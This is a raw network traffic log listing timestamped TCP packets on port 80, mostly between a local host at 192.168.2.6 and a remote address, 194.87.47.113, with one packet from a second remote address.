Dec 19, 2024 08:09:37.341928959 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.341990948 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.342075109 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.343856096 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.344037056 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.344412088 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.345781088 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.345876932 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.345932007 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.347701073 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.347806931 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.347969055 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.349647045 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.349746943 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.349961996 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.351596117 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.351771116 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.351826906 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.353492975 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.353605032 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.355422974 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.355516911 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.355556965 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.355997086 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.357367039 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.357501030 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.357745886 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.359276056 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.359386921 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.359515905 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.361236095 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.361418009 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.362782955 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.363132954 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.363270998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.363476992 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.365084887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.365281105 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.365391970 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.367041111 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.367135048 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.367221117 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.368968010 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.369054079 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.369326115 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.370868921 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.370992899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.371468067 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.372806072 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.372910976 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.374717951 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.374835014 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.374861956 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.374962091 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.376641989 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.376764059 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.377072096 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.378637075 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.378700018 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.378839016 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.380572081 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.380702019 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.380784035 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.382061958 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.382157087 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.382405996 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.383599997 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.383692026 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.383922100 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.385179996 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.385281086 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.385452986 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.386790991 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.386837959 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.387028933 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.388231993 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.388330936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.389007092 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.389799118 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.389877081 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.389998913 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.391326904 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.391439915 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.391551018 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.392911911 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.393009901 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.393140078 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.394495964 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.394629955 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.394784927 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.395987988 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.396094084 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.396203041 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.397516966 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.397599936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.397974014 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.398340940 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:37.399060011 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.399138927 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.399358988 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.400604963 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.400774002 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.400928974 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.402216911 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.402293921 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.402370930 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.403728962 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.403882027 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.404378891 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.405251980 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.405344009 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.405786037 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.406774044 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.406891108 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.407334089 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.408302069 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.408417940 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.408653021 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.409863949 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.409966946 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.410264969 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.411478996 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.411541939 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.411688089 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.412955999 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.413084030 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.413355112 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.414494991 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.414604902 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.415899038 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.416047096 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.416161060 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.416254997 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.417572975 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.417664051 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.419115067 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.419255972 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.419282913 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.419464111 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.420661926 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.420779943 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.422327042 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.422377110 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.422466993 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.422530890 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.423744917 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.423877954 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.424283981 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.425288916 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.425390959 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.426839113 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.426944971 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.426979065 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.428391933 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.428520918 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.428558111 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.429932117 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.429969072 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.430036068 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.431485891 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.431519032 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.431607008 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.432785988 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.432997942 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.433140993 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.434608936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.434640884 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.434706926 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.436104059 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.436136961 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.436203003 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.436786890 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.437660933 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.437760115 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.439203978 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.439240932 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.439440012 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.440777063 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.440793037 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.440879107 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.442298889 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.442348957 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.442395926 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.443985939 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.444026947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.444040060 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.444786072 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.445377111 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.445472956 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.446919918 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.446947098 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.447108030 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.448488951 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.448515892 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.448602915 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.448785067 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.450021029 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.450095892 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.451565981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.451591015 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.451673031 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.452784061 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.453104973 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.453242064 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.454700947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.454727888 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.454777002 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.454858065 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.456222057 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.456341028 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.457746983 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.457772970 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.457866907 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.459350109 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.459378958 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.459496975 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.460833073 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.460855007 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.460941076 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.462367058 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.462389946 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.462456942 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.463958979 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.463994980 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.464000940 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.464787006 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.465486050 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.465667963 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.466984034 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.467012882 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.467092991 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.468532085 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.468559980 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.468678951 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.468786955 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.470105886 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.470230103 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.471649885 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.471709967 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.471776009 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.472788095 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.473165035 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.473284006 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.474745035 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.474772930 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.474864006 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.476284981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.476315022 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.476377964 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.476783037 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.477819920 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.477931023 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.479350090 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.479383945 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.479460001 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.480789900 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.480900049 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.481034040 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.482425928 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.482456923 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.482521057 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.483994007 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.484021902 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.484112978 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.484783888 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.485560894 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.485657930 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.487045050 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.487072945 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.487153053 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.488598108 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.488629103 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.488734961 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.490143061 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.490170002 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.490258932 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.491724968 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.491759062 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.491800070 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.492784977 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.493273020 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.493383884 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.493767977 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.494797945 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.494934082 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.496341944 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.496426105 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.496454954 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.496623993 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.497874022 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.497971058 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.499361038 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.499416113 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.499499083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.499666929 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.500951052 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.501068115 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.501162052 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.502491951 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.502635956 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.504055977 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.504158020 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.504184008 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.505184889 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.505644083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.505736113 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.506077051 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.507194042 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.507255077 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.507400036 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.508708954 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.508733034 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.509187937 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.510231018 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.510373116 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.511322975 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.511760950 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.511876106 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.512782097 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.513314962 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.513442993 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.514856100 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.514967918 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.514992952 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.515749931 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.516377926 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.516464949 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.517870903 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.517882109 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.517977953 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.519342899 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.519398928 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.519484043 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.520251036 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.520922899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.521019936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.522010088 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:37.522432089 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.522512913 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:37.522650957 CET	49862	80	192.168.2.6	194.87.47.113
